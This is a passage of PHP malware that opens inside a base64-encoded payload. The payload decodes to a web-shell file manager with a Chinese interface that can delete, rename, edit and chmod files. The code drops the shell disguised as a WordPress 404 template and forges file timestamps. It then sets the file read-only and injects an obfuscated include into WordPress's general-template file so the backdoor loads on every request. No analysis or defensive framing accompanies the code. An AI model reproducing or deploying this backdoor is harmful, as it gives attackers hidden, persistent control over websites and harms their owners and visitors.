ICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
@chmod($jue_jiang_404_path, 0644);
@file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
@touch($jue_jiang_404_path, filectime($file_general_template_path));
@chmod($jue_jiang_404_path, 0444);
}
$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
$pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
preg_match_all("/{$pma}/i",$general_template_code,$pr);
$gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
$jj404_b64_path = base64_encode($jue_jiang_404_path);
$new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
@chmod($file_general_template_path, 0644);
@file_put_contents($file_general_template_path,$new_general_template);
@touch($file_general_template_path, filectime($file_general_template_path));
}